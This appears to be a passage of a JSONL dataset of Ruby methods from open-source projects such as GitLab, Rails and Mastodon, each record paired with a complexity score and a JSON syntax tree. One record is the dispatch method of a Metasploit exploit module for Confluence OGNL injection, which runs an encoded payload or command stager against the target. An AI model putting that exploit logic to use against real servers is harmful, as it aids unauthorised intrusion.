{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/api/helpers.rb","start_line":353,"raw_source":"def find_build!(id)\n      user_project.builds.find(id.to_i)\n    end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"find_build!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user_project\"]},\"builds\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id\"]},\"to_i\"]}]}]}","id":"dbd5dc1b-1ad8-4c27-a62f-e0b855a9fa23"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/test/tests/call_index.rb","start_line":146,"raw_source":"def test_full_call\n    xyz = @call_index.find_calls(target: :x, method: :z, chained: true).first\n    xy = @call_index.find_calls(target: :x, method: :y, nested: true).first\n    x = @call_index.find_calls(method: :x, nested: true).first\n    thing = @call_index.find_calls(method: :do_a_thing).first\n\n    # Full call for the call should be itself\n    assert_equal thing, thing[:full_call]\n    assert_equal xyz, xyz[:full_call]\n\n    assert_equal xyz, xy[:full_call]\n    assert_equal xyz, x[:full_call]\n  end","complexity_score":21.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_full_call\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"xyz\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@call_index\"]},\"find_calls\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target\"]},{\"type\":\"sym\",\"children\":[\"x\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"method\"]},{\"type\":\"sym\",\"children\":[\"z\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"chained\"]},{\"type\":\"true\",\"children\":[]}]}]}]},\"first\"]}]},{\"type\":\"lvasgn\",\"children\":[\"xy\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@call_index\"]},\"find_calls\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target\"]},{\"type\":\"sym\",\"children\":[\"x\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"method\"]},{\"type\":\"sym\",\"children\":[\"y\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"nested\"]},{\"type\":\"true\",\"children\":[]}]}]}]},\"first\"]}]},{\"type\":\"lvasgn\",\"children\":[\"x\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@call_index\"]},\"find_calls\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"method\"]},{\"type\":\"sym\",\"children\":[\"x\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"nested\"]},{\"type\":\"true\",\"children\":[]}]}]}]},\"first\"]}]},{\"type\":\"lvasgn\",\"children\":[\"thing\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@call_index\"]},\"find_calls\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"method\"]},{\"type\":\"sym\",\"children\":[\"do_a_thing\"]}]}]}]},\"first\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"thing\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"thing\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"full_call\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"xyz\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"xyz\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"full_call\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"xyz\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"xy\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"full_call\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"xyz\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"x\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"full_call\"]}]}]}]}]}","id":"73012367-4c00-4d77-8880-d094adc411ee"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/services/import/gitlab_projects/create_project_service_spec.rb","start_line":10,"raw_source":"def initialize(...)\n        @errors = ActiveModel::Errors.new(self)\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"forward_args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@errors\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveModel\"]},\"Errors\"]},\"new\",{\"type\":\"self\",\"children\":[]}]}]}]}","id":"9ed3298b-47b7-45ef-bccf-54bdacc275db"}
{"repo_name":"forem","file_path":"./repos/forem/app/models/user.rb","start_line":567,"raw_source":"def moderator_for_subforems_not_cached\n    Subforem.with_role(:subforem_moderator, self).pluck(:domain)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"moderator_for_subforems_not_cached\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Subforem\"]},\"with_role\",{\"type\":\"sym\",\"children\":[\"subforem_moderator\"]},{\"type\":\"self\",\"children\":[]}]},\"pluck\",{\"type\":\"sym\",\"children\":[\"domain\"]}]}]}","id":"fe462215-a553-4bfe-93f9-d26fcec269a0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/pagination_helper.rb","start_line":27,"raw_source":"def page_size\n    Kaminari.config.default_per_page\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"page_size\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Kaminari\"]},\"config\"]},\"default_per_page\"]}]}","id":"8035042f-e5f0-4a33-8529-f8f1ebcad387"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/atlassian_confluence_namespace_ognl_injection.rb","start_line":133,"raw_source":"def exploit\n    confluence_platform = get_confluence_platform\n    unless confluence_platform\n      fail_with(Failure::NotVulnerable, 'The target is not vulnerable.')\n    end\n\n    unless confluence_platform.downcase.start_with?('win') == (target['Platform'] == 'win')\n      fail_with(Failure::NoTarget, \"The target platform '#{confluence_platform}' is incompatible with '#{target.name}'\")\n    end\n\n    print_status(\"Executing #{payload_instance.refname} (#{target.name})\")\n\n    case target['Type']\n    when :cmd\n      execute_command(payload.encoded)\n    when :dropper\n      execute_cmdstager\n    end\n  end","complexity_score":33.8,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"confluence_platform\",{\"type\":\"send\",\"children\":[null,\"get_confluence_platform\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"confluence_platform\"]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NotVulnerable\"]},{\"type\":\"str\",\"children\":[\"The target is not vulnerable.\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"confluence_platform\"]},\"downcase\"]},\"start_with?\",{\"type\":\"str\",\"children\":[\"win\"]}]},\"==\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Platform\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"win\"]}]}]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NoTarget\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"The target platform '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"confluence_platform\"]}]},{\"type\":\"str\",\"children\":[\"' is incompatible with '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Executing \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload_instance\"]},\"refname\"]}]},{\"type\":\"str\",\"children\":[\" (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Type\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"cmd\"]},{\"type\":\"send\",\"children\":[null,\"execute_command\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"dropper\"]},{\"type\":\"send\",\"children\":[null,\"execute_cmdstager\"]}]},null]}]}]}","id":"cbbe69c8-d9b7-4bc2-b7cc-b3b08341b0db"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/email/message/repository_push.rb","start_line":37,"raw_source":"def commits\n          return unless compare\n\n          @commits ||= compare.commits\n        end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"commits\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"compare\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@commits\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"compare\"]},\"commits\"]}]}]}]}","id":"4ada4b4b-d5da-45b8-97e5-42777e3e300b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/import_export/avatar_saver.rb","start_line":8,"raw_source":"def initialize(project:, shared:)\n        @project = project\n        @shared = shared\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"project\"]},{\"type\":\"kwarg\",\"children\":[\"shared\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@project\",{\"type\":\"lvar\",\"children\":[\"project\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@shared\",{\"type\":\"lvar\",\"children\":[\"shared\"]}]}]}]}","id":"f087605a-84e7-4c1e-b079-aba9719434a6"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/lsp/diagnostic.rb","start_line":165,"raw_source":"def correctable?\n        !@offense.corrector.nil?\n      end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"correctable?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@offense\"]},\"corrector\"]},\"nil?\"]},\"!\"]}]}","id":"6d7de248-78d6-445a-96bf-1f4a61bf7d66"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane/lib/fastlane/supported_platforms.rb","start_line":17,"raw_source":"def self.all\n      (@default + @extra).flatten\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"all\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@default\"]},\"+\",{\"type\":\"ivar\",\"children\":[\"@extra\"]}]}]},\"flatten\"]}]}","id":"c16a063c-28bb-4a1f-9528-f58a7965defe"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/fixtures/project.rb","start_line":6,"raw_source":"def self.collection_cache_key(collection = all, timestamp_column = :updated_at)\n    \"projects-#{collection.count}\"\n  end","complexity_score":4.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"collection_cache_key\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"collection\",{\"type\":\"send\",\"children\":[null,\"all\"]}]},{\"type\":\"optarg\",\"children\":[\"timestamp_column\",{\"type\":\"sym\",\"children\":[\"updated_at\"]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"projects-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"collection\"]},\"count\"]}]}]}]}","id":"0778a4a8-6891-45b4-b471-3c966b2df95b"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/admin/reports_controller.rb","start_line":22,"raw_source":"def assign_to_self\n      authorize @report, :update?\n      @report.update!(assigned_account_id: current_account.id)\n      log_action :assigned_to_self, @report\n      redirect_to admin_report_path(@report)\n    end","complexity_score":7.8,"ast_json":"{\"type\":\"def\",\"children\":[\"assign_to_self\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"authorize\",{\"type\":\"ivar\",\"children\":[\"@report\"]},{\"type\":\"sym\",\"children\":[\"update?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@report\"]},\"update!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"assigned_account_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_account\"]},\"id\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"log_action\",{\"type\":\"sym\",\"children\":[\"assigned_to_self\"]},{\"type\":\"ivar\",\"children\":[\"@report\"]}]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"send\",\"children\":[null,\"admin_report_path\",{\"type\":\"ivar\",\"children\":[\"@report\"]}]}]}]}]}","id":"0ca34f84-ceab-4f04-9f83-1cca4200a1e6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/json_logger.rb","start_line":36,"raw_source":"def cache_key\n        \"logger:\" + full_log_path.to_s\n      end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"cache_key\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"logger:\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"full_log_path\"]},\"to_s\"]}]}]}","id":"dad401e5-8de3-45b7-999b-f0cb7f6b67c3"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/zentao/query.rb","start_line":26,"raw_source":"def issue\n        issue_response = client.fetch_issue(params[:id])\n        issue_response['issue']\n      end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"issue\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"issue_response\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"fetch_issue\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issue_response\"]},\"[]\",{\"type\":\"str\",\"children\":[\"issue\"]}]}]}]}","id":"38081cb5-8ee5-453c-9b3a-be6dc4a169b9"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/form_options_helper_test.rb","start_line":872,"raw_source":"def test_select_with_nil\n    @post = Post.new\n    @post.category = \"othervalue\"\n    assert_dom_equal(\n      \"<select id=\\\"post_category\\\" name=\\\"post[category]\\\"><option value=\\\"\\\"></option>\\n<option value=\\\"othervalue\\\" selected=\\\"selected\\\">othervalue</option></select>\",\n      select(\"post\", \"category\", [nil, \"othervalue\"])\n    )\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_select_with_nil\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@post\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@post\"]},\"category=\",{\"type\":\"str\",\"children\":[\"othervalue\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_dom_equal\",{\"type\":\"str\",\"children\":[\"<select id=\\\"post_category\\\" name=\\\"post[category]\\\"><option value=\\\"\\\"></option>\\n<option value=\\\"othervalue\\\" selected=\\\"selected\\\">othervalue</option></select>\"]},{\"type\":\"send\",\"children\":[null,\"select\",{\"type\":\"str\",\"children\":[\"post\"]},{\"type\":\"str\",\"children\":[\"category\"]},{\"type\":\"array\",\"children\":[{\"type\":\"nil\",\"children\":[]},{\"type\":\"str\",\"children\":[\"othervalue\"]}]}]}]}]}]}","id":"dbb6906a-f17d-49ab-a198-aea42778ee15"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/kubernetes.rb","start_line":83,"raw_source":"def add_terminal_auth(terminal, token:, max_session_time:, ca_pem: nil)\n      terminal[:headers] ||= ::Gitlab::Kubernetes.build_header_hash\n      terminal[:headers]['Authorization'] << \"Bearer #{token}\"\n      terminal[:max_session_time] = max_session_time\n      terminal[:ca_pem] = ca_pem if ca_pem.present?\n    end","complexity_score":8.7,"ast_json":"{\"type\":\"def\",\"children\":[\"add_terminal_auth\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"terminal\"]},{\"type\":\"kwarg\",\"children\":[\"token\"]},{\"type\":\"kwarg\",\"children\":[\"max_session_time\"]},{\"type\":\"kwoptarg\",\"children\":[\"ca_pem\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"terminal\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"headers\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"Kubernetes\"]},\"build_header_hash\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"terminal\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"headers\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"Authorization\"]}]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Bearer \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"token\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"terminal\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"max_session_time\"]},{\"type\":\"lvar\",\"children\":[\"max_session_time\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ca_pem\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"terminal\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"ca_pem\"]},{\"type\":\"lvar\",\"children\":[\"ca_pem\"]}]},null]}]}]}","id":"8f2571e5-a843-4863-ac88-99db797e308c"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/dialog/orchestration_template_service_dialog.rb","start_line":121,"raw_source":"def create_textarea(parameter, group, position, name_prefix)\n      group.dialog_fields.build(\n        :type           => 'DialogFieldTextAreaBox',\n        :name           => \"#{name_prefix}#{parameter.name}\",\n        :data_type      => 'string',\n        :display        => \"edit\",\n        :required       => parameter.required,\n        :default_value  => parameter.default_value,\n        :label          => parameter.label,\n        :description    => parameter.description,\n        :reconfigurable => parameter.reconfigurable,\n        :position       => position,\n        :dialog_group   => group\n      )\n    end","complexity_score":9.4,"ast_json":"{\"type\":\"def\",\"children\":[\"create_textarea\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"parameter\"]},{\"type\":\"arg\",\"children\":[\"group\"]},{\"type\":\"arg\",\"children\":[\"position\"]},{\"type\":\"arg\",\"children\":[\"name_prefix\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"dialog_fields\"]},\"build\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"DialogFieldTextAreaBox\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name_prefix\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parameter\"]},\"name\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"data_type\"]},{\"type\":\"str\",\"children\":[\"string\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"display\"]},{\"type\":\"str\",\"children\":[\"edit\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"required\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parameter\"]},\"required\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default_value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parameter\"]},\"default_value\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"label\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parameter\"]},\"label\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parameter\"]},\"description\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reconfigurable\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parameter\"]},\"reconfigurable\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"position\"]},{\"type\":\"lvar\",\"children\":[\"position\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"dialog_group\"]},{\"type\":\"lvar\",\"children\":[\"group\"]}]}]}]}]}","id":"a9af0cc1-16d5-4202-81d4-ebaabfa847b5"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/core_ext/time_with_zone_test.rb","start_line":446,"raw_source":"def test_minus_with_time_with_zone_without_preserve_configured\n    twz1 = ActiveSupport::TimeWithZone.new(Time.utc(2000, 1, 1), ActiveSupport::TimeZone[\"UTC\"])\n    twz2 = ActiveSupport::TimeWithZone.new(Time.utc(2000, 1, 2), ActiveSupport::TimeZone[\"UTC\"])\n\n    difference = assert_not_deprecated(ActiveSupport.deprecator) { twz2 - twz1 }\n    assert_equal 86_400.0, difference\n  end","complexity_score":17.5,"ast_json":"{\"type\":\"def\",\"children\":[\"test_minus_with_time_with_zone_without_preserve_configured\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"twz1\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"TimeWithZone\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"utc\",{\"type\":\"int\",\"children\":[2000]},{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"TimeZone\"]},\"[]\",{\"type\":\"str\",\"children\":[\"UTC\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"twz2\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"TimeWithZone\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"utc\",{\"type\":\"int\",\"children\":[2000]},{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"TimeZone\"]},\"[]\",{\"type\":\"str\",\"children\":[\"UTC\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"difference\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_not_deprecated\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"deprecator\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"twz2\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"twz1\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"float\",\"children\":[86400.0]},{\"type\":\"lvar\",\"children\":[\"difference\"]}]}]}]}","id":"fb1626b8-4fa9-4098-8138-86b4176a7a3a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/projects/mirrors_controller.rb","start_line":60,"raw_source":"def ssh_host_keys\n    lookup = SshHostKey.new(project: project, url: params[:ssh_url], compare_host_keys: params[:compare_host_keys])\n\n    if lookup.error.present?\n      # Failed to read keys\n      render json: { message: lookup.error }, status: :bad_request\n    elsif lookup.known_hosts.nil?\n      # Still working, come back later\n      render body: nil, status: :no_content\n    else\n      render json: lookup\n    end\n  rescue ArgumentError => e\n    render json: { message: e.message }, status: :bad_request\n  end","complexity_score":27.8,"ast_json":"{\"type\":\"def\",\"children\":[\"ssh_host_keys\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"lookup\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SshHostKey\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"url\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"ssh_url\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"compare_host_keys\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"compare_host_keys\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lookup\"]},\"error\"]},\"present?\"]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lookup\"]},\"error\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"bad_request\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lookup\"]},\"known_hosts\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sy